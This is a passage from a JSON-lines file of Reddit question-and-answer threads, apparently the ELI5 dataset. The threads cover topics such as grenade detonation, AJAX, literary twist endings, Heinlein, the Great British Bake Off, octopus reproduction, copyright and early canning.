Many people have proposed linking neuroscience to quantum mechanics in a hope of showing both free will and determinism in the brain, but i'm highly skeptical of such endeavours. Anyway, to stop rambling, I hope I gave you something interesting in relation to your question."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["http://en.wikipedia.org/wiki/Brain_in_a_vat"], ["http://en.wikipedia.org/wiki/Epistemology"], [], []]}
{"q_id": "4kaoth", "title": "Would shooting a grenade actually cause it to detonate?", "selftext": "Sorry in advance if this is the wrong sub, but it's something you always see in movies or video games, but how accurate is that? I know some explosives, like C4, will only detonate if the right detonator is used, is the same true for grenades? ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4kaoth/would_shooting_a_grenade_actually_cause_it_to/", "answers": {"a_id": ["d3djckc", "d3dldxc", "d3dw6zs", "d3dzb8v", "d3e59ti"], "score": [7, 114, 16, 2, 40], "text": ["Not likely. The explosives used in grenades are very stable due to the nature of grenades being carried around on someone's person. It requires the blasting cap in the grenade to go off. Also most grenades have a very heavy metal case that contains the expanding gasses to create a bigger boom as well as shrapnel when the grenade goes off.", "The most common explosives used in grenades are TNT and RDX. Both are quite insensitive. TNT melts around 80 \u2103, so it can be easily molded into shape. It can be ignited with a flame, but it won't explode, just burn slowly. They are not going to explode from a bullet hit either, which is a favourable thing in military applications.\nMost secondary explosives need a blasting cap to detonate, and sometimes even a smaller extra charge (booster) is needed beside the blasting cap.\n\nThere are a lot of explosives which can be detonated by a bullet of course, but they don't use them in grenades or warheads, for safety and other reasons.\n\nEdit: This is not completely true, it is plausible to do in some cases. Thanks [/u/baker2002](_URL_0_) and [/u/sdsliberty](_URL_1_) for clarification.", "Sometimes in combat an incoming bullet *does* detonate a grenade.  The part of a grenade that has the handle and pin also has a detonator, which is like the blasting cap used for dynamite or C4.  If you unscrew that top part from the main body of the grenade, the main explosive charge on the bottom is made relatively safe because it is hard to detonate the bottom without a blasting cap.  You are unlikely to be able to cause the main charge to explode by the impact of a bullet (but the chance is not quite zero).  The top part, however, is a sensitive explosive, and can be detonated with a hammer.  When assembled, the detonator is down inside the main body of the grenade, but a bullet impact at just the right angle can definitely cause the whole thing to explode in your grenade pouch, which is attached to your equipment belt, which is attached to your body.  The IDF thought it enough of a problem that they developed a [bullet-proof grenade](_URL_0_).", "Before a new explosive can be taken into use, its properties are thoroughly tested, precisely in order to answer questions like this. After all, their intended use is a context where bullets, explosives and burning liquids will be shot at them. There are many military standard tests for shock and impact sensitivity. The [rifle bullet test](_URL_0_) is closest to this. As you say, [C-4 passes this test](_URL_1_). C-4 is plasticized RDX (91% of RDX and the rest plasticizers); pure crystalline RDX is more sensitive, but I couldn't find the rifle bullet test results for it. TNT [fails this test if confined](_URL_2_).", "I don't know why nobody has cited it yet, but the answer is:\n\n**[(Yes) Plausible](_URL_0_)**. \n\nSmall-arms and shotguns both actually rendered the grenades inert (separating the blasting cap from the grenade), but a .308 rifle round imparted enough force to cause detonation of the grenade without aid of the blasting cap."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.reddit.com/user/baker2002", "https://www.reddit.com/user/sdsliberty"], ["https://www.idfblog.com/blog/2012/10/10/idf-unveils-new-bullet-proof-grenade/"], ["https://books.google.fi/books?id=4J1rYxczTEAC&amp;pg=PA434&amp;lpg=PA434&amp;dq=rifle+bullet+test+explosive&amp;source=bl&amp;ots=WHieruU7_0&amp;sig=b1vprV1JngbFsHBaD6119q43t_U&amp;hl=en&amp;sa=X&amp;redir_esc=y#v=onepage&amp;q=rifle%20bullet%20test%20explosive&amp;f=false", "https://en.wikipedia.org/wiki/C-4_%28explosive%29#Safety", "https://archive.org/stream/tntasblastingexp94munr/tntasblastingexp94munr_djvu.txt"], ["https://en.wikipedia.org/wiki/MythBusters_%282014_season%29#Episode_216_.E2.80.93_.22Fire_in_the_Hole.22"]]}
{"q_id": "19gvn9", "title": "explain it like i'm 5, what is ajax", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/19gvn9/explain_it_like_im_5_what_is_ajax/", "answers": {"a_id": ["c8nwr4y", "c8nymao", "c8nyryt", "c8o0rto"], "score": [11, 22, 5, 13], "text": ["In web development? It's a fancy word that's a little vague, but basically means getting or sending data from a remote server without refreshing the page. It stands for Asynchronous JavaScript and XML even though most devs use JSON now. XML and JSON are syntaxes for storing key/value data.", "It's a Dutch football team.", "Ajax was a hero in Greek mythology. He is featured in Homer's Iliad and in The Epic Cycle. The cousin of Achilles and great-grandson of Zeus he fought in the war of Troy and ultimately killed himself.", "Everyone is giving extremely complicated answers so hopefully this will make it easy to understand.\n\nYou know on some web pages when you press a button, the entire page reloads? AJAX allows you to avoid situations like this by using the Javascript to talk to the server while the page you're currently viewing is still open. It's really nice for things like online shopping carts where you can simply click \"remove\" or \"add 1 more\" and it updates before your eyes without reloading. It gives a more \"professional\" and smooth feel to sites, not to mention faster because you don't have to reload everything. It's especially nice for sites that display a lot of images or videos (such as youtube comments).\n\nUpvoting and downvoting on here most likely use AJAX (could be a similar technology called a web socket), same thing for editing posts. Instead of having to reload the entire page, it talks to the server in the background and tells it you're submitting some information."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "2l9wc6", "title": "When and where did written stories first have twist endings?", "selftext": "Many older texts seem to make a point out of saying everything that will happen in the story before telling the story. What's the first example of a story that was specifically trying to surprise the reader or play against his expectations?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2l9wc6/when_and_where_did_written_stories_first_have/", "answers": {"a_id": ["clt2f0l", "clt3ri8", "clteobh"], "score": [9, 3, 3], "text": ["The best example of this is probably the traditional joke. Jokes, as we conceive of them in their traditional form, are generally structured to turn on the sudden and unexpected revelation of a piece of overlooked or theretofore hidden information (often in the form of a punchline), which makes the situation of the joke humorous. Indeed, nearly all story-form jokes (and almost all short-form horror fiction, or \"creepypasta\" -- which also often feature \"punchlines\") turn on this structural figure. Considering that jokes are known to have been told in their more or less modern form as far back as ancient Sumeria, about 1900 B.C. or so, we can guess that \"twists\" and surprises were a known literary technique for most of literary history. The fact that older stories, in some cases, do not use this technique, but instead rely on heavy foreshadowing or even pre-summary, may have more to do with other desires on the part of the writers than the writers' lack of knowledge about \"twists.\"\n\nAs for longer-form stories with a twist, or multiple twists, these could be found in some of Aesop's fables, to some degree, but perhaps the first definite example I can think of would be in the *One Thousand and One Nights* collection of stories from the Islamic Golden Age (around 800 AD to about 1250). Specifically, the story [\"The Three Apples\"](_URL_0_) contains several unexpected plot twists which the reader would surely have been expected to be shocked/surprised by. Much of Islamic fiction at this time was quite lurid (as was fiction from European cultures a bit later), and featured many literary devices to surprise and shock the reader, plot twists certainly being one.", "The history of twists is tricky. As with most elements of fiction, it is very difficult to define a single starting point for something. But I will do my best.\n\nRomantic twists were certainly a staple of Restoration-era comedies. But these were more akin to deus ex machinas that wrapped up the plot neatly while gracefully upholding the status quo, and it is unlikely anyone was surprised by them.\n\nA more earnest endeavour toward twists and turns is seen in the development of gothic literature. Early gothic novels like *Castle of Otranto* and *Wieland* (sometimes called the first American novel) employ twists in their stories to weave a suitably complex tale of horror, but these are not really the overt surprises we understand today, and still hold a lingering resemblance to neoclassical tragedy.\n\nMystery novels of the 19th century get closer to the modern twists, where readers are led along to a big reveal. The proto-mystery of western literature is often thought to be Edgar Allen Poe's \"Murders at the Rue Morgue\" where the killer is revealed to be an orangutan. That would have played against reader expectations at the time. This practice led into the great detectives like Sherlock Holmes and Hercule Poirot, who offered their grand deductions at the story's conclusion and let the reader know what was going on. This gets us closer to the twist ending, but not all the way there, because even if the reader does not know who the killer is, they know to expect this reveal at the end, so it does still play into expectations.\n\nThe modern twist ending is largely a product of the \"weird tales\" of the early 20th century. H.P. Lovecraft was certainly famous for them, and employed them with varying degrees of dexterity. By the 1920s these twists were a staple of science fiction and horror stories. It was seen as a cheap trick, and it often was: twists soon became as formulaic as the stories themselves. But the practice spilled outwards, and 1920s crime fiction picked it up. The most famous example there is Dashiel Hammett's *The Maltese Falcon*, which delivered its readers a double twist.\n\nHammett spear-headed the noir genre, which of course led into the film noir genre, landing squarely at the feet of Alfred Hitchcock. At that point, the twist got elevated out of dime novels and into a more literary tradition.", "It's not as active a sub as this, but you could try over at /r/AskLiteraryStudies."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/The_Three_Apples"], [], []]}
{"q_id": "2ye4mt", "title": "\"Violence, naked force, has settled more issues in history than has any other factor, and the contrary opinion is wishful thinking at its worst.\" Do historians agree or disagree with this Robert Heinlein passage from Starship Troopers?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2ye4mt/violence_naked_force_has_settled_more_issues_in/", "answers": {"a_id": ["cp8t8qh", "cp8w6wf"], "score": [69, 149], "text": ["Historians wouldn't be able to give an answer to a question like this, because the word \"issue\" is vague at best. The issue of what I'm going to have for dinner tonight was not settled by force, but I assume that's not what you meant by issue.", "It's pretty hard to say for certain without narrowly defining terms, but we can take a look at the man who wrote the line for some idea of the view he was trying to propagate. \n\nFirst of all, let's look at the full quote, and character speaking it. It is spoken, during a lecture to his class, by Lt. Col. Jean V. Dubois (Ret.). Dubois is often held up as a cipher for Heinlein himself within the context of the book, and the full quote lines up fairly well with some of Heinlein's core beliefs. Dubois goes on: \"Breeds that forget this basic truth have always paid for it with their lives and their freedoms. [...] A soldier accepts personal responsibility for the safety of the body politic of which he is a member, defending it, if need be, with his life. The civilian does not.\"\n\nHeinlein was a libertarian with a militaristic streak (he graduated from Navy, and was a sailor in the 30's), and *Starship Troopers*, as the title suggests, is a chance for him to explore the militaristic aspects of his philosophy. Heinlein wanted to show in the novel, and through the words of Dubois especially, not so much that the lesson of history is that violence is always effective, but that those who bury their heads in the sand and do not properly acknowledge the critical role of force in the shaping of human affairs, are doomed to be destroyed and enslaved. He is warning the reader that ignoring political reality for the sake of pacifist fantasy will, in his opinion, lead to disastrous consequences.\n\nIn the novel, Heinlein therefore creates a sort of \"Plato's Republic\" of his own, based on this key admonishment. The world of *Starship Troopers* see two key classes of people: citizens and civilians (or soldiers and civilians). Those who do not wish to engage in force and violence, who don't have the stomach for it, have the same rights as those who do -- but the ones who are willing to fight to defend the country are given a higher status, with the privilege to actually vote and have a say in the mechanism of government (which is, after all, simply an organization of force on behalf of society). The novel was inspired by, and written in the wake of, calls for unilateral cessation of nuclear testing by interest groups and anti-war groups in the United States. Heinlein wanted to offer a countermanding opinion.\n\nSo, Dubois' real purpose with the speech not so much for a historical survey, but for teaching the viewpoint to his students (unsuccessfully, as he later admits) that \"those who beat their swords into ploughshares usually end up ploughing for those who kept their swords.\" Whether or not that fact has been borne out by historical reality is, again, difficult to say."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2fdumw", "title": "why is the great british bake off so popular?", "selftext": "Why is Bake Off so popular when other cookery shows (like Masterchef) showcase better cooking and are just as good, or even better to watch?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2fdumw/eli5_why_is_the_great_british_bake_off_so_popular/", "answers": {"a_id": ["ck8a1ji", "ck8d7po", "ck8dpbw"], "score": [3, 3, 3], "text": ["I guess it seems a little more do-able than Masterchef. Masterchef is quite professional compared to the Bake-Off, and it might be that more people watch the Bake-Off because they could probably have a go at making something of similar quality.", "This question is better suited to other subreddits, not really ELI5. \n\nIt's popular because it appeals to a wide demographic, it's very well made and it doesn't take itself too seriously without pandering to the lowest common denominator. \n\nWhy it's more popular than XYZ is quite a bit more difficult to answer convincingly, in my opinion. Just because you're confused about it's appeal and popularity doesn't imply there must be a black and white answer as to why. ", "Personally, what I've noticed watching this show vs. other reality competetive shows is there's no negative competetiveness between the contestants in GBBO. Maybe subsconsciously, TV viewers find camaraderie and this absence of \"cattiness\" refreshing. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "12pv0b", "title": "What political group(s) was the direct predecessor to the Mensheviks?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/12pv0b/what_political_groups_was_the_direct_predecessor/", "answers": {"a_id": ["c6x5dqf"], "score": [3], "text": ["The Russian Social Democratic Labour Party was the predominant marxist organization. Internal disputes caused it to split into the Menshevik and Bolshevik factions. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "33dlpt", "title": "how come on some websites that are blocked i can add an \"s\" to \"http://\" and get it to work?", "selftext": "My school blocks a lot of websites, but one time I learned that you can change \"http://\" in the url to \"https://\" enabling some websites to work.\n\nHow does this work, and why does it not work with all websites?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/33dlpt/eli5_how_come_on_some_websites_that_are_blocked_i/", "answers": {"a_id": ["cqjute5", "cqjwaj7"], "score": [8, 4], "text": ["I think it uses a different port. Adding the s means your connecting to their secure server port instead of regular server port. The school could block it, but they probably don't think to.", "HTTP traffic is unencrypted, a content filter can easily inspect all content and block sites you do not have permission to go to.  HTTPS is an encrypted connection, meaning the data between you and the server is secured to prevent eavesdropping.  \n\nHTTPS content filtering is possible with appropriate hardware and software, however it does usually take more work to setup on the content filtering side and a lot of people just don't bother (or don't know how).\n\nSource: Network administrator that has done content filtering for a living."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "eb2fxd", "title": "Did the switch from wood to metal in shipbuilding affect the amount of forests in Europe?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/eb2fxd/did_the_switch_from_wood_to_metal_in_shipbuilding/", "answers": {"a_id": ["fb343h7"], "score": [149], "text": ["Focusing on the British, you're certainly correct that the navy was a major driving force of the timber industry during the 18th and early 19th century. A ship such as the famed H.M.S. Victory required 1,000 oak trees, larger ships could easily need double. In the early 19th century, roughly 4,000 acres of trees were needed. The Navy itself cultivated forests for this purpose, but most of its wood came from private industry, and there was a good deal of incentive to ensure plenty of supply. The Royal Society for the Encouragement of Arts, Manufactures and Commerce gave our awards between 1758 to 1835 to landowners for planting trees, and the program is believed to have incentivized over 50 *million* trees being planted.\n\nSo the result in the decline of wooden shipbuilding actually had the opposite impact of what you might expect. While yes, it meant less wood was needed to build ships, it also meant that there were less incentive to plant trees. So perhaps the biggest *direct* impact was the decline in attentive cultivation of forests in the mid-19th century. Ships, after all, didn't need young saplings, but rather were using well aged trees, generally oaks of about many years growth. Growing trees for shipbuilding was a *very* long term practice, and if anything, despite their best efforts to provide a steady supply, the right kind of timber was in decline, and the shift over to iron was welcome since there just wasn't much of the good stuff left, although the British were never averse to importing when needed.\n\nWoodlands in Britain *did* begin to increase, but it wasn't directly linked to the decline in shipbuilding, but rather to changes in agricultural patterns in the 1870s, with less land being cultivated, and the abandoned farmland becoming uncultivated forest land, leading to an increase in forest coverage at the close of the 19th century. This was only further fueled by the fact that timber became quite cheap to import, and by 1900, the 90 percent of the UK's timber needs were bought overseas. Planting of forests increased again, but not a focus on the same trees as for shipbuilding, but instead on conifers.\n\nSo in short, the impact of the decline in naval production meant less focus on the planting of broadleaf trees, like oaks and elms, and while forests *did* increase in the UK in the late 19th century, they were for mostly unrelated reasons, and not the same types of trees.\n\n**Sources**\n\nAlbion, Robert Greenhalgh. *Forests and sea power: The timber problem of the Royal Navy, 1652-1862*. Harvard University Press, Cambridge, 1926.\n\nBurton, Anthony. *Rise and Fall of British Shipbuilding*. The History Press, 2013.\n\nFletcher, T. W. \"The Great Depression of English Agriculture 1873-1896.\" *The Economic History Review, New Series*, 13, no. 3 (1961): 417-32. \n\nNail, Sylvie. *Forest Policies and Social Change in England*. Spring, 2008.\n\nRackham, Oliver. *Woodlands.* HarperCollins Publishers, .\n\nWarde, Paul. \"Fear of Wood Shortage and the Reality of the Woodland in Europe, c.1450\u20131850,\" *History Workshop Journal*, Volume 62, Issue 1, Autumn 2006, Pages 28\u20135"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2hodq8", "title": "I've just learned the octopuses die shortly after giving birth. Why would this ever be advantageous?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2hodq8/ive_just_learned_the_octopuses_die_shortly_after/", "answers": {"a_id": ["ckuohj8", "ckupb7h", "ckupulj", "ckv7j5i"], "score": [9, 2, 3, 2], "text": ["While the death of the mother itself is not advantageous, the death is caused by the mother devoting her life to caring for her eggs rather than eating. The level of care provided to the offspring (or potential offspring) is advantageous if it helps more offspring survive. ", "Lynn Margulis makes the argument that all organisms exist to rearrange genetic material. Given that animals are too morphologically complex to horizontally transfer genetic material, we must do so by sex. It's not that dying is advantageous, it is more that reproduction is the end game for all organisms and if you are large enough, it will require too much energy to produce young in certain environments and then you die.", "See [this FAQ entry](_URL_0_), which has an answer that applies for \"evolutionary advantage\" questions.", "I believe they (females) die shortly after their offspring are born to avoid competing for food and shelter with their own offspring.  They have hundreds of babies all at once.  Granted only a handful will ever survive long enough to reproduce. But that is alot of competition as well as a high chance of inbreeding. \n\nMales I believe can impregnate numerous females during a lifetime"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.reddit.com/r/askscience/wiki/biology/evolutionary_purpose"], []]}
{"q_id": "3uyc6f", "title": "How accurate are these images of brains depicting mental conditions?", "selftext": "[deleted]", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3uyc6f/how_accurate_are_these_images_of_brains_depicting/", "answers": {"a_id": ["cxixaot", "cxixdlx", "cxixfji", "cxj1jgc", "cxj5h9j"], "score": [2, 149, 20, 58, 7], "text": ["Follow up question, what do the colors in the images mean?", "If by \"accurate\" you mean are these real images of healthy and unhealthy brains, then the answer is yes. After poking around, it seems like (at least some of) these images come from the Mayo clinic: _URL_0_\n\nHere's some more info that I hope provides valuable context. These images are from positron emition tomography (PET) scans. The basic idea is that a person gets injected with radioactive isotopes, which travel through their blood to their brain. Areas of the brain that have more blood flow will get more of the chemical, causing the image to look brighter when ~~positrons~~ gamma rays are detected by the scanner. Think of it like using a muscle, when you exercise one part of the brain, more blood flows to that part.\n\nThis image suggests that there is a difference in PET signal, and therefore blood flow, and thus probably brain activity, between a healthy and a depressed person. Although no color scale is provided, we may safely assume that warmer colors indicate greater signal, as this is standard. Thus, we can infer that the depressed brain may be \"less active\" than the healthy one.\n\nHowever, there are a couple of caveats here. It's not clear at all from this picture **how much** of a difference there is. 1%? 10%? 100%? No idea. Also, looking at these two images, it's clear that the two brains are different shapes. This suggests that the scans are from just two people, and not two groups of subjects with and without depression. Group data is usually shown on some standardized brain template, and thus would be the same shape for both. Generally, its hard to draw scientific conclusions from functional brain scans in individual subjects; the data are simply too noisy (I'm not sure to what extent that applies to medicine however). That being said, there is a lot of good and important research being done on disorders like depression using functional brain imaging techniques like PET.\n\nSource: PhD in neuroscience, currently  conducting fMRI research in clinical populations.\n\nEdit: later comments have pointed out that PET signal depends on binding in a certain area, rather than blood flow. The critical issue is what chemical is tagged with the isotope. My explanation was a simplification, and assumed the use of O-15, with which I'm most familiar, and which I beleived to be most common. Using labebeld oxygen, PET and fMRI function in a similar fashion. It's worth mentioning here (and I'm quite aware) that using other labeled compounds makes it possible to look at things like glucose consumption, binding to neurotransmitter receptors, etc. This is another issue with these images, it's not clear what chemical was used.\n\nSorry for any confusion from my earlier explanation.", "I wouldn't go so far as to say that they're completely wrong, as they may well have labeled the brains correctly, but the complete lack of any contextual data makes them almost entirely meaningless.  These types of images track the amount of metabolic activity going on in a brain over a short period of time, but the data has to be compared to an established \"base functionality,\" basically when the brain isn't using whatever region is being looked at to any heightened extent.", "Short version: they are a perfect example of how NOT to report this kind of data. Stay away from this kind of clickbait-esque facebook crap LIKE THE PLAGUE. \n\nDon't get me wrong: I get that most people won't be able to read properly reported results anyway (and it's *absolutely fine*), but this is the kind of oversimplification that risks getting the wrong message across (see the comment about intelligence below - which is absolutely on point). I'm not sure what the point was in making these pictures, but that's not a good way to send a message to the general public.\n\nI'm not saying the pictures are not legit, they likely come from a proper study with proper reporting, but hell, this is like showing a picture with a red pickup and a blue one to convince me the first one is more fuel efficient. It's just so smushed and crumpled up that there's very little left for the viewer to munch on. Science and education do not build on trust.\n\nFor all we know, the limits on that color range might be +-10% or +-100%, and that's assuming it's a relative change being represented. It might be a group comparison (unlikely as others have pointed out), in which case we have no idea of the significance of said differences. \n\nSauce: currently banging my head on the wall analyzing EEG data and figuring out how to report the results of a time-frequency analysis.", "Cell and Molec.  neuroscience student here.  Those are all indeed scans of healthy and diseased brains.  \n\nDo those images reflect the listed diseases?  NO. \n\nDo those comparisons tell anything useful in the context given? NO.  \n\nI'd stay away from that sort of stuff. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.mayoclinic.org/tests-procedures/pet-scan/multimedia/-pet-scan-of-the-brain-for-depression/img-20007400"], [], [], []]}
{"q_id": "2ewudk", "title": "why does the \"goose stepping\" style of military marching seem to be universally adopted by dictatorships and non-democratic regimes? (examples : nazi germany, north korea, communist china, the russian federation).", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2ewudk/eli5_why_does_the_goose_stepping_style_of/", "answers": {"a_id": ["ck3omfy", "ck3oqy1", "ck48nf5", "ck497l8"], "score": [31, 5, 2, 3], "text": ["It originally started in Prussia and quickly spread around Europe, however after it become popular with Mussolini it became mocked by the Allies and abandoned by Western Europe. It stayed in essentially the rest of the world however, not because it's an 'Evil Dictatorship' aesthetic choice but simply because it's a more traditional style of marching. Pakistan, India, Poland, Mexico and various other sufficiently 'democratic' states use the goose step. It's also not uniform, in North Korea for example it isn't an orthodox goose step but a cross between that and a sort of running jump.", "It is only seen as something used by dictator governments because that is what you see in the videos. In reality it is used by many other countries that are not dictatorships (some were never dictatorships). Basically the answer to your question is \"Because it is popular\". There really isn't anything beyond that. It is used in countries all over the world. Russia for example has not been a communist dictatorship for quite some time. They still use the Goose Step. Ukraine is another example. \n\nIt's almost a cliche. ", "Goose stepping was invented and practiced in the Prussian and later German armies as a form of exercise. You lift the leg up high like a shifted sit up, and move forward. In the old German manuals it was used mainly for exercise and then for the presentation marches.", "Skipping just doesn't seem bad-ass enough."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "oyb4t", "title": "Does Jupiter have enough gravity at its solid core to to cause a noticeable time dilation effect?", "selftext": "If we found away for a human to be alive at the solid core of Jupitor, would two people show a noticeable difference in age? If so, how great would the effect be?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/oyb4t/does_jupiter_have_enough_gravity_at_its_solid/", "answers": {"a_id": ["c3l0hkw", "c3l13gb"], "score": [2, 2], "text": ["Jupiter's core is only 15 or so times the mass of the earth, so its gravity is nothing spectacular - there would be little more time dilation than there is here. As for the material surrounding the core, its gravitational pull cancels out if you are below it (this is true for any shell of mass) so the fact that Jupiter is tremendous has no effect.\n\nThe *pressure* down there, of course, would be very high - but that doesn't cause time dilation. ", "No, you pretty much have to be close to the surface of a neutron star or black hole for gravitational relativistic effects to become noticeable. Even on a white dwarf (less dense than neutron star but still extremely dense) it's negligible. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1agjdl", "title": "Why do the gold flakes in gold vodka stay suspended and almost uniformly fill the space?", "selftext": "Last night a friend brought a Smirnoff cinnamon vodka with gold flakes. I was immediately surprised because they didn't settle even after 1 h and they even stayed in the same place, uniformly filling all the liquid volume. Why?\n\nMy first guess was that the flakes are electrically charged and so they repel.\n\nEdit: I found a patent _URL_0_\n >  The present invention relates to a method for suspending particles in an alcoholic liquid composition. The method comprises providing an alcoholic liquid composition having a particular alcoholic content and employing low acyl gellan gum to suspend particles in the composition. The invention also relates to an alcoholic liquid composition having a plurality of particles suspended in an alcoholic beverage employing low acyl gellan gum.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1agjdl/why_do_the_gold_flakes_in_gold_vodka_stay/", "answers": {"a_id": ["c8x82y0", "c8x9vh9"], "score": [9, 2], "text": ["I think that you just didn't give the flakes enough time to settle.  \n\nReally thin flakes can stay apparently suspended in liquid despite their greater density for a long time, because the downward force experienced by the flake is very small relative to its surface area.  The flakes will eventually settle, but the drag they experience prevents them from quickly settling. \n\nAs for the hypothesis that the flakes were electrically charged, you *can* build up static charge in a liquid flowing over a surface (depending on the properties of the liquid, surface, and flow), but I don't see how it could be maintained in a glass bottle with an electrically conductive liquid.\n\n--edit--\n\nI'm trying to find some information about the dimensions of those flakes to demonstrate this, but am currently having trouble.", "ummm... could you post a picture?\n\nI don't really drink so I dont know what you're talking about"]}, "title_urls": [], "selftext_urls": ["http://www.faqs.org/patents/app/20120107468"], "answers_urls": [[], []]}
{"q_id": "oco6a", "title": "what is the difference between sharing music over the internet and letting a friend borrow a cd?", "selftext": "Sharing music over the Internet via torrents, YouTube downloaders, etc. is illegal. Why is me sharing a few albums (that I bought) with friends of mine, assuming they'll just load it into their itunes, legal?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/oco6a/eli5_what_is_the_difference_between_sharing_music/", "answers": {"a_id": ["c3g6jn5", "c3g6kbu", "c3g74lp", "c3g818r", "c3g82d5", "c3g9nh5"], "score": [13, 18, 4, 6, 2, 2], "text": ["When you let a friend borrow a CD, you aren't making a copy of that CD. This isn't illegal, but copying that CD, say into an iTunes Library or burning another CD, is illegal under copyright law, since you're infringing on the copyright holder's exclusive copying rights to that work. So directly answering your question, not much.", "I state this neutrally but it is true.\n\nLoading your CD into their iTunes is against the law.  The possessor of a CD is granted rights to use it, not copy it.  Money was paid to the label and the band for one copy of the music, that's it.  Your friend can listen to the CD, you can listen to the CD together, you can give the CD to people or even sell it to someone else, but you cannot make a copy of it. \n\n\n", "_URL_0_\n\nRelated ELI5 about the difference between piracy and renting", "The difference is that sharing over the Internet produces a new copy, and copying without the permission of the copyright holder is illegal (though a civil offense, unlike actual theft which is a criminal offense). Handing your friend a CD doesn't make a copy, it just transfers a copy. It is well-established that copyright only applies to copying (though take a look at the [DMCA](_URL_0_) [actual text [here](_URL_1_)] to see how this is being circumvented through \"copy protection measures\" that also prevent transfer of ownership).\n\nIf you loan your friend a CD and that friend copies the content, that friend has committed an act of copyright infringement (assuming he didn't ask permission from the copyright holder first). Whether *you* have any legal liability would, I suppose, depend on whether you lent it to him with the expectation that he would copy it. IANAL and I don't know of any case law on this matter. I'd imagine there's not much, because honestly it's a waste of effort for a corporation like Sony to prosecute individual cases of offline friend-to-friend sharing, even when they do find out about them.\n\nCase law has established that people are allowed to make copies of copyrighted material for their own private use, such as by ripping to iTunes or backing up, which is why uninformed technical arguments like \"durr your computer has to make a copy just to play it\" don't lead to any contradiction here.", "You can borrow cds from libraries, how is that any different?", "When you buy a cd, you are given the right to use it and to make copies for yourself.  You can make multiple copies, but they all have to be for you (you have the cd, a copy on your itunes, a copy on your ipod, and maybe a copy on your xbox).  If you want a friend to have it, you have to delete all of your copies and then you can give it to them legally.  Allowing them to copy your cd while you still have copies of it is illegal.  I figure the only difference is that internet sharing is easier. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.reddit.com/r/explainlikeimfive/comments/nty90/how_does_piracy_differ_from_a_library_or_rental/"], ["https://en.wikipedia.org/wiki/Digital_Millennium_Copyright_Act", "http://www.copyright.gov/legislation/dmca.pdf"], [], []]}
{"q_id": "27oz0i", "title": "Once canning was invented how long did it take for canned goods to be adopted by armies and navies for use as field rations and naval stores?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/27oz0i/once_canning_was_invented_how_long_did_it_take/", "answers": {"a_id": ["ci3cfg3"], "score": [10], "text": ["It was actually the other way around. In the early years of the Napoleonic Wars the French government offered a 12,000 franc reward for the creation of a cheap and effective way to preserve large quantities of food (note: I've seen dates ranging from 1795-1805 for this).\n\nA French confectionist by the name of Nicolas Appert observed that food cooked inside of a sealed glass jar wouldn't spoil until it was opened, and by 1809 he perfected this technique. Within the next year he published a book, entitled [\"The Art of Preserving All Kinds of Animal and Vegetable Substances for Several Years\"](_URL_0_) (google books) detailing his methods. He then created a factory called \"The House of Appert\" to produce bottled food using this method.\n\nEdit: Tin canning was developed in the United Kingdom based on Appert's process by Philippe de Girard. He used Peter Durand to create a patent on this in 1810, and Durand sold his patent to Bryan Donkin and John Hall who then commercialized the process and sold canned goods to the British Army and Royal Navy. While canning started to see military usage around 1815 in the UK, Appert's developments in France weren't effectively put into use until after the Napoleonic Wars, and in 1814 his factory burned down."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://books.google.com/books?hl=en&amp;lr=&amp;id=NRU4AQAAMAAJ&amp;oi=fnd&amp;pg=PA58&amp;dq=the+art+of+preserving+all+kinds+of&amp;ots=Tr1Ogyx_bi&amp;sig=ML-bb54tUlcA9-4BuJ2QTGUjBlg#v=onepage&amp;q=the%20art%20of%20preserving%20all%20kinds%20of&amp;f=false"]]}
